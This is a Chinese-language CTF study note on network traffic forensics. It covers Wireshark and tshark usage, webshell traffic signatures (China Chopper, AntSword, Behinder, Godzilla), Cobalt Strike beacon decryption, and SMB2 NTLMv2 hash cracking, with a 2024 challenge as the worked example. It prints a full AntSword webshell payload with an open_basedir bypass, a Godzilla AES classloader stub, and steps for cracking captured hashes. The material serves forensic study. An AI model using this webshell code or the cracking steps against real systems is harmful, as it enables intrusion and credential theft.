流量分析
wireshark 基本使用
数据包筛选
这是 wireshark 的重要功能,一般的流量都会有很多不同协议,直接看比较容易晕,用这个功能就会比较方便

IP 筛选
源 ip 筛选ip.src == 127.0.0.1目的 ip 筛选
ip.dst == 127.0.0.1mac 地址筛选
目的 mac 地址筛选eth.dst == A0:00:00:04:C5:64筛选 mac 地址
eth.addr == A0:00:00:04:C5:64端口筛选
筛选 tcp 协议的目标端口为 80 的流量tcp.dstport == 80筛选 tcp 协议的源端口为 80 的流量
tcp.srcport == 80筛选 udp 协议的目标端口为 80 的流量
upd.srcport == 80协议筛选
tcp/udp/icmp/ftp流量包长度筛选
筛选长度为 20 的 udp 流量udp.length == 20筛选长度大于 20 的 tcp 流量
tcp.length >= 20筛选长度为 20 的 ip 流量
ip.len == 20筛选全部长度为 20 的流量
frame.len == 20http 请求筛选
筛选请求方法为 GET 的流量http.request.method == "GET"筛选请求方法为 POST 的流量
http.request.method == "POST"指定 HTTP 请求的 uri
http.request.uri == "/path?=123"指定请求中包含特定内容
http contains "FLAG"手动筛选
在查看流量时可能会遇见不会筛选的语句,可以进行手动筛选
选中需要的流量或分组详情中的字段,右键 -> 准备作为过滤器 -> 选中/非选中
如果不知道字段名称也可以用这种方法查看

数据包搜索

在这里进行搜索,可以使用十六进制、字符串、正则表达式、过滤器

数据包还原(追踪流)
在 wireshark 中,有一个追踪流的功能,可以将多个 HTTP 或 TCP 流量集合到一起,还原成原始数据
右键需要恢复的流量,选择追踪流和对应的方式,我的 wireshark 升级到最新版只显示接受的显示,旧版应该有多种的,但是不能选的是灰的

数据提取
wireshark 支持提取通过 http 传输的文件
文件 -> 导出对象 -> HTTP
在列表中选择需要的文件保存

流量解密
在流量分析时,可能会遇到一些被加密的流量,需要解密才能看到流量内容
编辑 -> 首选项 -> protocols -> 要解密的流量
可以在这里上传解密文件或密钥,例如 TLS 流量


Stratoshark 基本使用
这个是 wireshark 团队的一个新工具,学长找到的
挖个坑看看
这个软件利用的是 sysdig 抓系统进程
记录一下使用
有三个抓包功能, 目前只会简单使用最后的 ssh 抓包

主要是配置
首先是配置 ssh 连接的地址和端口

然后是配置账户名和密码,这里要使用 root 账户,主要是要使用 sysdig 得用 root 权限

后面又配置是用 sudo 的,但是这个没有办法再输入密码,所以一开始就要用 root 进入,有一点是要把 use eBPF 不清楚这个是干什么用的,但是如果点着就会报错

tshark 基本使用
在使用 wireshark 的时候,会发现有些数据分散在很多包中,一个个提取很麻烦,用 tshark 提取就会轻松很多
tshark -r 1.pcap -Y "http contains FLAG" -T fields -e data.data > data.txt
# -r :指定要分析的流量文件
# -Y :使用的过滤器如果有多个可以用 && 连接
# -T fields:输出指定的字段数据
# -e :输出的字段名称
去除重复的行
tshark -r 1.pcap -Y "dns" -T fields -e dns.qry.name | uniq > data.txt
流量分析基本考点
记录一下流量分析的考点,免得老忘 orz
直接搜索
最基础的,可以直接通过搜索查找要的信息,例如 flag,pass,key 等等
文件导出
通过导出对象获取传输的文件
USB 流量
这个大概分为键盘流量和鼠标流量,其实也可以有其他设备的流量,没见过
键盘流量一般是 8 字节,鼠标流量是 4 字节
键盘流量
基本就是基于这个查找流量对应的按键,不过都要用 tshark 提取出流量,准备学一下写一个脚本对应查看
最近还有一种,就是会在按键的同时加上 alt,在文本中用 alt 加上 4 位数字或字母(好像是),就会得到一个字符,如果加上退格就会得到中文汉字
鼠标流量
这个见的也少,不过主要是鼠标移动的坐标,然后作图
webshell 流量分析
这个是用 shell 工具打的流量,都会有加密,记录一下
中国菜刀
流量特征
- 在请求包中,user-agent 头一般为火狐,百度等
- 请求体中存在 eval,base64 等
- 请求体中传递的 payload 为 base64 编码,并且有固定的
QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7J
解码得到的是
@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};echo("X@Y");
解码 base64 应该就能得到 payload
蚁剑
通过本地抓包得到的代码
这是蚁剑使用 default 编码器尝试访问网站时会传送的代码
多抓了几个包,发现这个代码的大致框架都是一致的,只是在不同的功能上会修改一些地方
根据 ai 分析了一下代码
- 绕过
open_basedir,这个是php的配置项,限制php只能访问特定目录这里通过新建一个目录,然后不断向上到根目录,修改
open_basedir为/使php可以访问整个文件系统
- 输出的加密方式在
asenc方法中修改
而输出的信息会有干扰字符,这是因为asoutput函数导致的,只要将这个函数加入的字符串删除就行- 而代码要实现的功能,如文件读取、目录读取
则在try代码块中修改
<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir = @ini_get("open_basedir");
if ($opdir) {
$ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir);
@array_push($oparr, $ocwd, sys_get_temp_dir());
foreach ($oparr as $item) {
if (!@is_writable($item)) {
continue;
}
$tmdir = $item . "/.1cd791f2636d";
@mkdir($tmdir);
if (!@file_exists($tmdir)) {
continue;
}
$tmdir = realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr = @preg_split("/\\\\|\//", $tmdir);
for ($i = 0; $i < sizeof($cntarr); $i++) {
@chdir("..");
}
@ini_set("open_basedir", "/");
@rmdir($tmdir);
break;
}
}
function asenc($out)
{
return $out;
}
function asoutput()
{
$output = ob_get_contents();
ob_end_clean();
echo "063" . "2f6e";
echo @asenc($output);
echo "25e" . "6833";
}
ob_start();
try {
$D = dirname($_SERVER["SCRIPT_FILENAME"]);
if ($D == "")
$D = dirname($_SERVER["PATH_TRANSLATED"]);
$R = "{$D} ";
if (substr($D, 0, 1) != "/") {
foreach (range("C", "Z") as $L)
if (is_dir("{$L}:"))
$R .= "{$L}:";
} else {
$R .= "/";
}
$R .= " ";
$u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";
$s = ($u) ? $u["name"] : @get_current_user();
$R .= php_uname();
$R .= " {$s}";
echo $R;
} catch (Exception $e) {
echo "ERROR://" . $e->getMessage();
}
asoutput();
die();
?>
其他方式特征:
base64

chr

chr16

rot13

返回包数据取决于蚁剑设置的解码器,有三种
- default
- base64
- rot13
蚁剑最显眼的特征就是最开头的两句话
@ini_set("display_errors", "0");
@set_time_limit(0);
主要是用来消除错误信息和取消执行时间限制
冰蝎
冰蝎的加密逻辑比较固定,一般都是先 AES-CBC 然后 base64,解密只要反过来就行,主要要找AES的key,AES的iv一般是用全0填充,不过也有可能会被魔改,具体要看流量有没有进行额外操作
冰蝎加密的密钥用的是密码的md5值的前16位
冰蝎可以自己写加密方式
冰蝎自带的加密方式都可以通常冰蝎直接查看

加解密都有
哥斯拉
这个我没怎么做过 orz,都是参考网上文章记录的
哥斯拉的特征就是返回包的数据的前后十六位都是固定的哈希值,是用 xor 加密的
所以解密就找到 xor 的 key,不过这个 key 要看下 php 中有没有什么操作,有可能会把第一位移到最后去
哥斯拉流量有时候会使用 gzip 进行压缩,要解密的话可以使用 gunzip 进行解密

String code="ZiFsXmEqZ3tBN2I0X1g5ektfMnY4Tl93TDVxNH0=";
String xc="a2550eeab0724a69";
class X extends ClassLoader{
public X(ClassLoader z){
super(z);
}
public Class Q(byte[] cb){
return super.defineClass(cb, 0, cb.length);
}
}
public byte[] x(byte[] s,boolean m){
try{
javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");
c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));
return c.doFinal(s);
}
catch (Exception e){
return null;
}
}
CobalStrike 流量
CobalStrike 团队协作的内网渗透工具
工作流程
- 被控机向
TeamServer发送心跳包,包中包含了主机信息和协商密钥等信息,这些信息被使用 RSA 公钥进行加密后放到了 cookie 中 server端第一次心跳后进入睡眠,并利用私钥将数据包解开后获得主机信息和协商密钥,基于协商密钥会生成新的 AES key 和 HMAC key- 睡眠时间过后,会再一次发送心跳包询问是否有新的命令,当有新的命令出现时会将其数据包加密后发送,而命令会作为该回应包的 body 发送
- 被控端在接收到数据之后进行解密获取命令,再将命令执行的节后加密后返回给
TeamServer该次传输使用 POST 请求发送 TeamServer解密后看到回显- 当 3 中睡眠时间过了之后,再次发送心跳包却没有接收到新的指令信息,这时候就会返回空包

Private Key 和Public Key 是特定的,并且保存在.cobaltstrike.beacon_keys文件中,对于一个固定的 CS ,经过首次使用 CS 软件,就会生成一组固定的私钥和公钥,现在很多 CS 的 私钥都披露了,如果能抓到攻击者的 CS 流量,能够精确的找到对应的私钥,就能解密流量包
信标
信标就是 cs 中的 beacon,是 cs 的后渗透工具,会在目标机植入一个 beacon.exe 以低频次、慢速的方式与 cs 服务器通信,同时因为信标由 teamserver 端生成,其中包含 teamserver 端的很多信息,更是可以通过静态和动态的信标解密 cs 的通信流量
心跳包
心跳包就是 beacon 向 cs 服务器发送的通信数据包,是定时发送心跳包询问,有命令加密后进行回包,无命令就返回空包,有效避免了长时间不间断的数据传输和通信而被防御设备检测到异常流量
解密流量
cs 流量比较特征的就是会请求一个 /**** 的 url,这4个字符是有特征的,如果四个字符 ascii 相加并 mod 256 得到的结果是 93 ,就是 x64 的,92 就是 x32 的
url = "TJvI"
ascii = sum([ord(i) for i in url])
fin = ascii % 256
print(fin)

这个就是获取 beacon 的流量,把这个导出来是可以利用脚本分析的 minhangxiaohui/CSthing: somthing about Cobaltstrike
python 1768.py TJvI

这里就能获取到公钥了,后面的那个就是响应的 url
这里是空包的心跳包,这里的 cookie 存放了加密过的受害端信息

下面这个就是有数据的心跳包

要对 cookie 进行解析,就要获取私钥,私钥一般存放在 .cobaltstrike.beacon_keys ,没有这个文件就需要自己解密获取
这里有几个方法可以用
手解 rsa
这个全是参考大佬的,因为我完全不会密码(
先用脚本获取 n 和 e
from Cryptodome.PublicKey import RSA import base64 hex_key = "30819f300d06092a864886f70d010101050003818d00308189028181009cf1af3bffe8855bc30f10c1994ece58002e1795e76710f8b8a023006e1a6068943a4b5a6970d4a4f9ce942d29f3f032fb864a5b0389b6cd40de94ad67f13ea52221a2f94a1112b22bf4d4ca928f404b0b751a0a9c3d893062be8b31a90383b23a626b2c48bd2e5f80c0e7de7d6d5da81c53580a5730cf6b789e344b6284af6d0203010001" der_data = bytes.fromhex(hex_key) rsa_key = RSA.import_key(der_data) n = rsa_key.n e = rsa_key.e pem_key = rsa_key.export_key().decode() print("PEM 格式公钥:\n", pem_key) print("n =", n) print("e =", e)得到

然后用 yafu 分解 n
yafu-x64.exe factor(110209881007357893823335805800713195851127501725957565233140927957700204009298219831317940655870344979959172203765131703915110847527123581538957802617902884782216119145118127834057251159376653146542095451104320803312070357977411524497260098391204298785177487587770308799475139763729699721645361283357313642349)得到 p 和 q 去求私钥
from Cryptodome.PublicKey import RSA from Cryptodome.Util.number import inverse p = 7605291443685150594150190909345113655196508809219162555499789316232908573154196070425269090153291952292016936024761413150455793038505322748933150548026527 q = 7605291443685150594150190909345113655196508809219162555499789316232908573154196070425269090153291952292016936024761413150455793038505322748933150548026221 e = 65537 n = p * q phi_n = (p - 1) * (q - 1) d = inverse(e, phi_n) key = RSA.construct((n, e, d, p, q)) private_pem = key.export_key().decode() print("RSA私钥(PEM):\n", private_pem)使用工具从 dump 中提取加密密钥
使用这个方法需要能获取到
beacon进程的 dmp 文件通过
cs-parse-traffic.py提取加密数据python cs-parse-traffic.py -k unknown DESKTOP.pcapng这里会获取很多数据,需要的是和 dmp 文件相关的内容,这里的 83 是对数据包 80 的响应,就有可能是
TeamServer 发送给Beacon的加密数据Packet number: 83 HTTP response (for request 80 GET) Length raw data: 48 ac4cb985c04d084b0f77ed1b7745b23123abb198370ffcaedebf12c1f9de9b6fb6094a50a93af84cacd11a30b468dfbd Packet number: 83 HTTP request http://192.168.27.132:12580/ca Length raw data: 48 ac4cb985c04d084b0f77ed1b7745b23123abb198370ffcaedebf12c1f9de9b6fb6094a50a93af84cacd11a30b468dfbd然后分析 dmp 文件
python cs-extract-key.py -t ac4cb985c04d084b0f77ed1b7745b23123abb198370ffcaedebf12c1f9de9b6fb6094a50a93af84cacd11a30b468dfbd 6492.dmp
获取到了密钥
35d34ac8778482751682514436d71e09:a6f4a04f8a6aa5ff27a5bcdd5ef3b9a7然后使用提取的密钥进行解密
python cs-parse-traffic.py -k 35d34ac8778482751682514436d71e09:a6f4a04f8a6aa5ff27a5bcdd5ef3b9a7 DESKTOP.pcapng
就可以分析这些流量了
上面这个是 4.x 版本的做法
3.x 就不用获取相关的密钥,可以直接对 dmp 文件分析python cs-extract-key.py file.dmp
利用 cs 泄露的私钥
在分析
beacon 时可以判断公钥对应的私钥有没有泄露,如果泄露了,在使用 1768.py 工具时,私钥后会有一个has known private key那就可以直接解密出元数据python cs-decrypt-metadata.py [cookie]有
.cobaltstrike.beacon_keys获取私钥可以使用这个工具获取文件中的私钥
SMB2流量
这个一般是解密 smb2 流量,要构造哈希文件,进行哈希爆破
构造方法
username::domain::ServerChallenge:ntproofstr:不包含ntproofstr的ntlmv2_response值
ntproofstr 一般是 ntlmv2_response 的前 32 位
例题
鹏程杯2024谍影重重5.0
拿到题目,查看流量,发现有 sm2 和 rdp 两种
首先是 sm2 流量,这个是会话层和表示层,以及小部分应用层的协议
要解密 smb2 流量,就是要构造 hash 文件,进行 hash 爆破

在流量中有两个用户,发现是 tom 登录成功,那么开始找对应的值

username : tom
domain : .
serverchallenge : c1dec53240124487
ntproofstr(ntlm response 的前32位) : ca32f9b5b48c04ccfa96f35213d63d75
不包含ntproofstr的ntlmv2_response值 :010100000000000040d0731fb92adb01221434d6e24970170000000002001e004400450053004b0054004f0050002d004a0030004500450039004d00520001001e004400450053004b0054004f0050002d004a0030004500450039004d00520004001e004400450053004b0054004f0050002d004a0030004500450039004d00520003001e004400450053004b0054004f0050002d004a0030004500450039004d0052000700080040d0731fb92adb0106000400020000000800300030000000000000000100000000200000bd69d88e01f6425e6c1d7f796d55f11bd4bdcb27c845c6ebfac35b8a3acc42c20a001000000000000000000000000000000000000900260063006900660073002f003100370032002e00310036002e003100300035002e003100320039000000000000000000
构造的是
tom::.:c1dec53240124487:ca32f9b5b48c04ccfa96f35213d63d75:010100000000000040d0731fb92adb01221434d6e24970170000000002001e004400450053004b0054004f0050002d004a0030004500450039004d00520001001e004400450053004b0054004f0050002d004a0030004500450039004d00520004001e004400450053004b0054004f0050002d004a0030004500450039004d00520003001e004400450053004b0054004f0050002d004a0030004500450039004d0052000700080040d0731fb92adb0106000400020000000800300030000000000000000100000000200000bd69d88e01f6425e6c1d7f796d55f11bd4bdcb27c845c6ebfac35b8a3acc42c20a001000000000000000000000000000000000000900260063006900660073002f003100370032002e00310036002e003100300035002e003100320039000000000000000000
通过 hashcat 爆破出密码(用 john 也可以

到这里就可以解密了,直接在 ntlmssp 中加入密钥

然后还有一种,是计算 session key 的
使用网上的脚本
import hashlib
from Cryptodome.Cipher import ARC4
from Cryptodome.Cipher import DES
from Cryptodome.Hash import MD4
import hmac
def generateEncryptedSessionKey(keyExchangeKey, exportedSessionKey):
cipher = ARC4.new(keyExchangeKey)
sessionkey = cipher.encrypt(exportedSessionKey)
print( sessionkey.hex())
username = "tom"
domain = "."
passw = "babygirl233"
NTproofstr = "ca32f9b5b48c04ccfa96f35213d63d75"
key = "5643a37f253b00b2f52df1afd48c1514"
username = str(username).upper().encode('utf-16le')
domain = str(domain).upper().encode('utf-16le')
passw = passw.encode('utf-16le')
hash1 = hashlib.new('md4',passw)
password = hash1.digest()
h = hmac.new(password,digestmod=hashlib.md5)
h.update(username+domain)
respNTkey = h.digest()
NTproofstr = bytes.fromhex(NTproofstr)
h = hmac.new(respNTkey,digestmod=hashlib.md5)
h.update(NTproofstr)
KeyExchKey = h.digest()
RessKey = generateEncryptedSessionKey(KeyExchKey, bytes.fromhex(key))
得到 a3abe4d64394909a641062342ffe291b,这里因为 wireshark 中的大小端问题,所以要修改


然后就可以提出 sm2 的文件

flag.7z 是有密码的,所以要找,应该就是 rdp 的流量解密
然后导出证书,但是 wireshark 的 tls 解密不支持 pfx,所以要先修改为 pem 格式
openssl pkcs12 -in 1.pfx -out rdp.pem -nodes

先用 openssl 转换一下格式,因为出题人应该是用 mimikatz 一把梭,所以密码就是 mimikatz,到现在就已经解密完了
参考
COTP协议–电脑与PLC通信之表示层 - wgd_elwood - 博客园